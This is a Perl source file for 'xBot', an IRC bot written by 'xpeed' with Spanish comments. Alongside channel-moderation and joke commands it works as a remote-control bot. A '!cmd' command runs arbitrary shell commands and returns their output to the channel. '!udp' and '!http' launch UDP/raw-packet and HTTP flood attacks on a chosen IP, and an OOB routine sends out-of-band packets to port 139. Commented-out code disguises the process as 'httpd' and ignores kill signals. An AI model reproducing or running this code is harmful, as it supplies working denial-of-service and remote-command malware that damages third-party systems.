#!/usr/bin/perl #Escrito por xpeed. irc.emule-spain.org #linux use strict; use MIME::Base64 qw(decode_base64); use MIME::Base64 qw(encode_base64); use Socket; use IO::Socket; use Getopt::Std; ######################################################### #----------------| constantes |--------------------- ######################################################### my $DIR = 'xBot/'; my $xPWD = 'datos/com.dat'; my $SERV = 'datos/serv.dat'; my $AXS = 'datos/axs.dat'; my $SLAP = 'fun/slaps.txt'; my $FORT = 'fun/galletas'; my $proceso = 'httpd'; my $debug = 0; my $seg = 0; my $max = 5; my $opt = {}; my $port = 6667; my $bot = my $name = 'xBot-'; my $version = '1.2.6'; my $isaccess = 0; my $nivel; my $server; my $chan; my %axs; my %serv; my $sock; #-------------------------------------------------------- ######################################################### #---------------| declaraciones |---------------------- ######################################################### my (@out, # salida del comando cmd @comandos, # lsa de comandos $nick, # nick de entrada (no es el del bot, es de quien escriba) $chanel, # canal de entrada $command, # primera parte del mensaje (nick@ident tipo) $texto, # segunda parte del mensaje (mensaje en sí) $cmd, # comando $tiempo, # tiempo y timer $i, # contador $shit, # elemento del foreach $xdat, # datos recibidos en el ident $ret, $init ); #-------------------------------------------------------- ######################################################### #-------------------| Ayuda |-------------------------- ######################################################### my %ayuda = ( 'add' => 'Añadir un usuario a la DB de acceso, Síntaxis: ', 'addserv' => 'Añadir un servidor a la DB de servidores, Síntaxis: ', 'cmd' => 'Interprete de comandos, Síntaxis: <;>', 'del' => 'Elimina un usuario determinado de la DB de acceso, Síntaxis: ', 'delserv' => 'Elimina un servidor determinado de la DB de servidores, Síntaxis: ', 'estado' => 'Exhibe el consumo de recursos que genera el bot, Síntaxis: ', 'help' => 'Exhibe la ayuda de comandos, Síntaxis: [comando]', 'http' => 'http flood, Síntaxis: ', 'in' => 'Transforma una cadena hexadecimal por una ip equivalente, Síntaxis: ', 'ip' => 'Devuelve el valor de la ip de un webchat, Síntaxis: ', 'ls' => 'Exhibe la lista de usuarios con acceso y su nivel, Síntaxis: [nick]', 'priv' => 'Envia un mensaje a un destino prefijado, Síntaxis: ', 'pais' => 'Exhibe el pais del nick predeterminado, Síntaxis: ', 'quit' => 'Termina el proceso del bot, Síntaxis: ', 'say' => 'Devuelve la cadena de caracteres pasada por parametro, Síntaxis: ', 'seen' => 'Indica la ultima hora y fecha de conexión de un nick predeterminado, Síntaxis: ', 'serv' => 'Exhibe la lista de servidores, Síntaxis: [número_servidor]', 'set' => 'Configura opciones del canal, Síntaxis: ', 'setlv' => 'Cambia el nivel de acceso a un usuario con acceso, Síntaxis: ', 'slap' => 'Slapea un nick determinado número de veces, Síntaxis: [número]', 'snd' => 'Enviar ordenes al servidor irc, Síntaxis: ', 'sub' => 'Ordenes a las subrutinas del bot, Síntaxis: ', 'time' => 'Exhibe la hora local del sistema, Síntaxis: ', 'udp' => 'UDP flood, Síntaxis, ', 'version' => 'Exhibe la version del bot, Síntaxis: ' ); #-------------------------------------------------------- ######################################################### #------------------| Señales |------------------------- ######################################################### #$SIG{'INT'} = 'IGNORE'; #$SIG{'HUP'} = 'IGNORE'; #$SIG{'TERM'} = 'IGNORE'; #$SIG{'CHLD'} = 'IGNORE'; #$SIG{'PS'} = 'IGNORE'; #$0 = "$proceso"."\0"x16; #-------------------------------------------------------- ######################################################### ##-----------------| Comienzo |----------------------- ######################################################### chdir($DIR) || warn 'no puedo entrar al dir de trabajo'; #exit if fork; my $clave = get(); rchop(\$clave); getopts('dhx', $opt); uso() if ($opt->{h}); $debug = 1 if $opt->{d}; #Debug $seg = 1 if $opt->{x}; leer(); #leer DB access leers(); #leer DB servidores if(@ARGV == 2 ) { $server = $ARGV[0]; $chan = $ARGV[1]; } else { print("$bot version: $version by xpeed \n "); show(); print('servidor: '); $init = ; rchop(\$init); if ($serv{$init}) { $server = $serv{$init}; } else { die 'Número de servidor erroneo'; } print('Canal: '); $chan = ; rchop(\$chan); } #-------------------------------------------------------- while(1) { $sock = IO::Socket::INET->new( PeerAddr => "$server", PeerPort => "$port", Proto => 'tcp' ) || print("No hay conexión\.\n\cC"); snd("NICK $bot"); #sndr el nick snd("USER $name x x x x"); #sndr los 5 parametros de usuario while(<$sock>) #Datos que llegan al socket { my $sdat = $_; #datos que llegan a $_ if ($sdat =~ /^PING :/i) #si llega la solicitud de PING { snd("PONG :$'"); #sndr el número de autenticación } elsif ($sdat =~ /^:\S*\s(376)\s(.*)/i) #si llega el codigo 376 End MOTD { privmsg('NickServ', "IDENTIFY $clave"); #identificarse con la clave snd('PART #chat'); #partir del canal inicial en este caso #chat snd("JOIN $chan"); #unirse al canal especificado } elsif ($sdat =~ /^:(\S*)!(\S*)\@(\S*)\sPRIVMSG\s(\S*)\s:(.*)/) { $nick = $1; $chanel = $4; $texto = $5; } elsif ($sdat =~ /^:\S*\s(433)\s(.*)/i) { $bot = $name.int(rand(999)); snd("NICK $bot"); } elsif ($sdat =~ /^:\S*\s(482)\s(.*)/i) { privmsg($chan, 'Necesito rango de operador.'); } elsif ( $chanel eq $bot) { $nick =~ /:(\S*)!(\S*)/; $chanel = $1; } elsif ($sdat =~ /^:\S*\sKICK\s(\S*)\s(\S*).*/) { snd("JOIN $1") if ($2 eq $bot); } #unirse al canal ($command, $texto) = split(/ :/, $sdat); print("\033\[01;38m\[$command\]\033\[00m $texto") if ($debug); #------------- access -------------------------------------- $isaccess = $ret = 0; if ($nick) #si los datos son envio de un usuario { ident($nick, 1); #quien escribe es access? if($isaccess == 1) #si es solo access { if($texto =~ /^(!add)\s(\S*)\s(\d*)/i) #añadir acceso { verificar(); #verifica access add($2, $3, 'op'); $ret = 1; } elsif($texto =~ /^(!addserv)\s(\d)\s(\S*)/i) #añadir acceso { verificar2(); #verifica access add($3, $2, 'serv'); $ret = 1; } elsif($texto =~ /^(!cmd)\s(.*)\;/i) #comandos { verificar(); #verfica el nivel de acceso $cmd = `$2 2>&1 3>&1`; @out = split(/\n/, $cmd); foreach $shit (@out) { privmsg($chanel, "$shit"); } $ret = 1; } elsif($texto =~ /^(!del)\s(\S*)/i) #borrar acceso { verificar(); #verifica access del($2, 'op'); $ret = 1; } elsif($texto =~ /^(!delserv)\s(\d)/i) #borrar acceso { verificar2(); #verifica access del($2, 'serv'); $ret = 1; } elsif ($texto =~ /^(!estado)/i) { estado(); } elsif ($texto =~ /^(!froid)\s*(.*)/) { froid($2); } elsif ($texto =~ /^(!help)\s(\S*)/i) { ($2) ? help($2) : help(); } elsif ($texto =~ /^(!http)\s+(\S*)\s+(\d+)/) { verificar2(); http($2, $3); $ret = 1; } elsif ($texto =~ /^(!in)\s(\S*)/i) { my $nuck = $2; rchop(\$nuck); ip($nuck); $ret = 1; } elsif ($texto =~ /^(!ip)\s(\S*)/i) { my @who = who($2) if $2; ip($who[4]); $ret = 1; } elsif ($texto =~ /^(!ls)\s*(\S*)/i) { verificar2(); ($2) ? lsaxs($2) : lsaxs(); } elsif ($texto =~ /^(!pais)\s(\S*)/i) { my $x = $2; my @who = who($2) if $2; my $country = de($who[5]); privmsg($chanel, "$x probablemente sea de: $country"); $ret = 1; } elsif ($texto =~ /^(!priv)\s(\S*)\s(.*)/i) { privmsg($2, $3); $ret = 1; } elsif($texto =~ /^(!quit)/i) { verificar2(); exit; } elsif ($texto =~ /^(!say)\s(.*)/i) { privmsg($chanel, "$2"); $ret = 1; } elsif ($texto =~ /^(!seen)\s(\S*)/i) { seen($2) if $2; $ret = 1; } elsif ($texto =~ /^(!serv)\s*(\S*)/i) { verificar2(); ($2) ? lserv($2) : lserv(); } elsif ($texto =~ /^(!set)\s(\S*)\s(\S*)\s(.*)/i) { set($2, $3, $4); $ret = 1; } elsif($texto =~ /^(!setlv)\s(\S*)\s(\d)/i) { verificar(); setlv($2, $3); $ret = 1; } elsif ($texto =~ /^(!slap)\s(\S*)\s(.*)$/i) { slapper($2,$3); } elsif($texto =~ /^(!snd)\s(.*)/i) { verificar(); snd($2); } elsif($texto =~ /^(!sub)\s(\S*)/i) { verificar(); leer() if ($2 == 'leer'); leers() if ($2 == 'leers'); $ret=1; } elsif ($texto =~ /^(!time)/i) { $tiempo = localtime(time); privmsg($chanel, "$tiempo"); } elsif ($texto =~ /^(!udp)\s+(\S*)\s+(\d+)\s+(\d+)/) { verificar2(); udp_parse($2, $3, $4); $ret = 1; } elsif($texto =~ /^(!version)/i) { privmsg($chanel, "$bot version: $version escrito por xpeed."); } privmsg($chanel, 'Error o Parámetros insuficientes') if( !$ret && $texto =~ m/^(!cmd|!add|!del|!setlv|!set|!say|!ip|!in|!priv|!addserv|!delserv|!seen|!pais|!udp|!sub)/i); $isaccess = $ret = 0; } #if access } #if quien Err:; } #while } #while 1 ######################################################### # ----------------| Subrutinas |----------------------- ######################################################### sub snd { print $sock ("$_[0]\n"); print("-xBot-\: $_[0]\n") if ($debug); #imprimir en el socket -sndr- } sub privmsg { snd("PRIVMSG $_[0] :$_[1]"); } sub leer { my $buf = ''; open(DB, "<$AXS") || privmsg($chan, 'No se puede leer la DB de operadores'); while(){ $buf .= decode_base64($_); } my @access = split(/\n/, $buf); foreach $shit (@access){ my ($n, $lv) = split(/::/, $shit); $axs{lc($n)} = $lv; } close(DB); } sub ingr { my ($buf, $archiv) = @_; rchop(\$buf); open (DB, ">>$archiv") || warn( privmsg($chanel, 'No se puede escribir en la Base de Datos.')); $buf = encode_base64("$buf\n"); print DB ("$buf"); close(DB); } sub leers { my $buf = ''; open(DB, "<$SERV") || die 'No se puede leer la DB de servidores'; while(){ $buf .= decode_base64($_); } my @servs = split(/\n/, $buf); foreach $shit (@servs){ my ($nom, $sit) = split(/::/, $shit); $serv{$nom} = $sit; } close(DB); } sub get { my $buf; open(DB, "<$xPWD"); $buf = ; $buf = decode_base64($buf); close(DB); return $buf; } sub verificar { if($nivel <= 4) { privmsg($chanel, 'acceso denegado.'); goto(Err); } } sub verificar2 { if($nivel <= 3) { privmsg($chanel, 'acceso denegado.'); goto(Err); } } sub ident { my ($name, $flag) = @_; rchop(\$name); $name =~ s/ //g; $isaccess = 0; if ($axs{lc($name)}) { $isaccess = 1; $nivel = $axs{lc($name)}; } if ($seg) { if($isaccess && $flag == 1) { privmsg('NickServ', "STATUS $name"); $sock->recv($xdat, 128); my @inv = split(/ /, $xdat); $isaccess = 0 if($inv[5] != 3); } } } sub add { my ($hnd, $nivel, $flag) = @_; rchop(\$hnd, \$nivel); if ($flag eq 'op') { if($nivel !~ /^[1-5]/ || $nivel > 5) { $nivel = 1; } ident($hnd); if($isaccess == 1){ privmsg($chan, "$hnd ya se encuentra en la lista access"); } else { ingr("$hnd\:\:$nivel", $AXS); leer(); privmsg($chanel, "$hnd añadido a la lista de access con nivel $nivel") if($texto =~ /^!add/i); } $isaccess = 0; } elsif ($flag eq 'serv') { if ($serv{$nivel}) { privmsg($chan, "$nivel ya se encuentra ocupado"); } else { ingr("$nivel\:\:$hnd", $SERV); leers(); privmsg($chanel, "$hnd añadido a la DBserv con índice $nivel") if($texto =~ /^!addserv/i); } } else { privmsg($chanel, 'Flag incorrecta') } } sub del { my ($dato, $flag) = @_; rchop(\$dato); my $buf; if ($flag eq 'op') { if ($axs{lc($dato)}) { delete($axs{lc($dato)}); open(DB,">$AXS"); foreach $shit (sort keys %axs) { $buf = encode_base64("$shit\:\:$axs{$shit}\n"); print DB ("$buf"); } close(DB); leer(); privmsg($chanel, 'entrada eliminada del DBaxs') if($texto =~ /!del/i) ; } else { privmsg($chanel, "$dato no es access"); } } elsif ($flag eq 'serv') { if ($serv{$dato}) { delete($serv{$dato}); open(DB,">$SERV"); foreach $shit (sort keys %serv) { $buf = encode_base64("$shit\:\:$serv{$shit}\n"); print DB ("$buf"); } close(DB); leers(); privmsg($chanel, 'entrada eliminada del DBserv') if($texto =~ /!delserv/i) ; } } else { privmsg($chanel, 'Flag incorrecta') } } sub setlv { my ($nik, $nnivel) = @_ ; $isaccess = 0; if($nnivel !~ /^[1-5]/) { $nnivel = 1; } ident($nik); if($isaccess == 1) { privmsg($chanel, "cambiando el nivel de $nik ..."); del($nik, 'op'); add($nik, $nnivel, 'op'); privmsg($chanel, 'Cambio de nivel satisfactorio.'); } else { privmsg($chanel, 'Ese usuario no es access.'); } } sub lsaxs { my $indx = shift; if ($indx) { if ($axs{lc($indx)}) { privmsg($chanel, "$indx\:\:".$axs{lc($indx)}); } else { privmsg($chanel, "$indx no es access"); } } else { privmsg($chanel, "===========lista de Access==========="); foreach $shit (sort keys %axs) { privmsg($chanel, "$shit\:\:".$axs{lc($shit)}); } } } sub lserv { my $indx = shift; if ($indx) { if ($serv{$indx}) { privmsg($chanel, "$indx\:\:$serv{$indx}"); } else { privmsg($chanel, "$indx no es servidor"); } } else { privmsg($chanel, "===========lista de Servidores==========="); foreach $shit (sort keys %serv) { privmsg($chanel, "$shit\:\:$serv{$shit}"); } } } sub froid { my $cant = shift; my @lin = (); my $fort; rchop(\$cant); open(FH, "<$FORT"); @lin = ; close(FH); if($cant !~ /^[1-9]/) { $cant = 1; } $cant = $max if ($cant > $max); for ($i=0; $i<$cant; $i++) { $fort = ($lin[int(rand($#lin))]); rchop(\$fort); privmsg($chanel, "\001ACTION $fort\001"); } } sub slapper { my ($nick2, $num) = @_; my @lin = (); my $slap; rchop(\$nick2, \$num); open(hFile, "<$SLAP") || warn (privmsg($chanel, "No se puede abrir slaps.txt $!")); @lin = ; close(hFile); if($num !~ /^[1-9]/) { $num = 1; } $num = $max if ($num > $max); for ($i=0; $i<$num; $i++) { $slap = ($lin[int(rand($#lin))]); rchop(\$slap); privmsg($chanel, "\001ACTION Slaps $nick2 with $slap\001"); } } sub ip { my ($ip, @ip, @iphex, @iph); $ip = ""; @ip = @iphex = @iph = (); my $country; @iph = @_; print("\<$bot\> $iph[0]\n") if $debug; for($i=0; $i<8; $i=$i+2) { push(@iphex, substr($iph[0], $i,2)); } for($a=0; $a<4; $a++) { push(@ip, hex($iphex[$a])); } $ip = join(".", @ip); $country = de($ip); rchop(\$country); privmsg($chanel, "$ip Pais: $country"); #snd a donde se le ordena } sub estado { my $stat; foreach $_ (`ps u $$ | awk '{print "Uso de CPU: "\$3"% Uso de MEM: "\$4"% Inicio: "\$9" PID: "\$2" UID: "\$1}'`) { $stat = $_; } privmsg($chanel, $stat); } sub seen { my $snick = shift; rchop(\$snick); privmsg('SEENSERV', "SEEN $snick"); $sock->recv($xdat, 256); $xdat =~ /NOTICE $bot :/; privmsg($chanel, "$'"); } sub de { my $ip = shift; my $pais = `whois $ip | grep country -im1`; $pais =~ /^country:\s*(\S*)/i ? return $1 : return 'No Válido.'; } sub who { my $who = shift; snd("WHOIS $who"); $sock->recv($xdat, 128); #recibir 128 bytes donde está contenido el ident split(/ /, $xdat); return @_; } sub set { my ($mod, $switch, $tip) = @_; rchop(\$mod, \$switch, \$tip); for ($mod) #para los casos de mod { /^\-seg$/ && do { #comparación de casos for ($switch) { /^on$/ && do { snd("MODE $chanel +f [7c#C7,5j#i2,8k#K8,7m#m3,12n#N5]:5"); last; }; /^off$/ && do { snd("MODE $chanel -f"); last; }; /^code$/ && do { snd("MODE $chanel +f $tip"); last; }; privmsg($chanel, 'modo no conocido.'); last; }; last; }; /^\-chan$/ && do { #servicios de canal for ($switch) { /^op$/ && do { snd("MODE $chanel +ooo $tip"); last; }; /^(deop|dop)$/ && do { snd("MODE $chanel -ooo $tip"); last; }; /^hop$/ && do { snd("MODE $chanel +hhh $tip"); last; }; /^(dhop|dehop)$/ && do { snd("MODE $chanel -hhh $tip"); last; }; /^voz$/ && do { snd("MODE $chanel +vvv $tip"); last; }; /^(dvoz|devoz)$/ && do { snd("MODE $chanel -vvv $tip"); last; }; /^(kb|kban)$/ && do { snd("MODE $chanel +b $tip"); snd("KICK $chanel $tip"); last; }; /^(b|ban)$/ && do { snd("MODE $chanel +b $tip"); last; }; /^(k|kick)$/ && do { snd("KICK $chanel $tip"); last; }; /^(dm|dmod)$/ && do { snd("MODE $chanel -m"); last; }; /^(m|mod)$/ && do { snd("MODE $chanel +m"); last; }; privmsg($chanel, 'modo no conocido.'); last; }; last; }; privmsg($chanel, 'modo no conocido.'); last; } } sub rchop { my @val = @_; foreach $shit (@val) { $$shit =~ s/[\n\r]//gi; } } sub help { my $hlp = shift; if($hlp) { if ($ayuda{$hlp}) { privmsg($chanel, $ayuda{$hlp}) } else { privmsg($chanel, "$hlp no es una orden válida."); } } else { @comandos = ( "ADM:\t\tcmd\t\tsnd\t\tadd\t\taddserv\t\tdel\t\tdelserv\t\tsetlv\t\tls\t\tserv\t\tquit\t\tudp\t\thttp\t\tsub", "USR:\t\tslap\t\tset\t\ttime\t\tsay\t\tip\t\tin\t\thelp\t\tversion\t\tpriv\t\testado\t\tseen"); privmsg($chanel, '======================Comandos======================'); foreach $shit (@comandos){ privmsg($chanel, "$shit"); } } } sub OOB { my $dest = shift; my $rsock = IO::Socket::INET->new( PeerAddr => $dest, PeerPort => 139 ); for(1..10){ $rsock->send("bye", MSG_OOB) }; } sub udp { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%paks); $paks{icmp} = $paks{igmp} = $paks{udp} = $paks{o} = $paks{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $port = 1; $port <= 65000; $port++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{udp}++; send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %paks); } sub udp_parse { my ($ip, $tam, $sec) = @_; privmsg($chanel, "\002[UDP]\002 Atacando $ip con paquetes de $tam Kb durante $sec segundos"); my ($dtime, %paks) = udp("$ip", "$tam", "$sec"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $tam * $paks{igmp}; $bytes{icmp} = $tam * $paks{icmp}; $bytes{o} = $tam * $paks{o}; $bytes{udp} = $tam * $paks{udp}; $bytes{tcp} = $tam * $paks{tcp}; my $dev = int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024); privmsg($chanel,"\002[UDP]\002 enviados $dev Kb en $sec segundos a $ip"); } sub http { my ($ip, $sec) = @_; privmsg($chanel, "\002[HTTP]\002 Atacando $ip:80 durante $sec segundos"); my $itime = time; my $cur_time; $cur_time = time - $itime; while ($sec > $cur_time) { $cur_time = time - $itime; my $socket = IO::Socket::INET->new( proto => 'tcp', PeerAddr => $ip, PeerPort => 80 ); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$ip."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } privmsg($chanel, "\002[HTTP]\002 Ataque concluido $ip"); } sub show { print("Escoja el servidor porfavor: \n"); foreach $shit (sort keys %serv) { print("\t$shit\t\=\>$serv{$shit}\n"); } } sub uso { die <<"EOT"; uso: $bot [-dh] [servidor] [\#canal] -d => Debug activado -h => Uso Ejemplo: ./xBot.pl -d irc.ser.net \#canal El canal se debe pasar escapando el # EOT }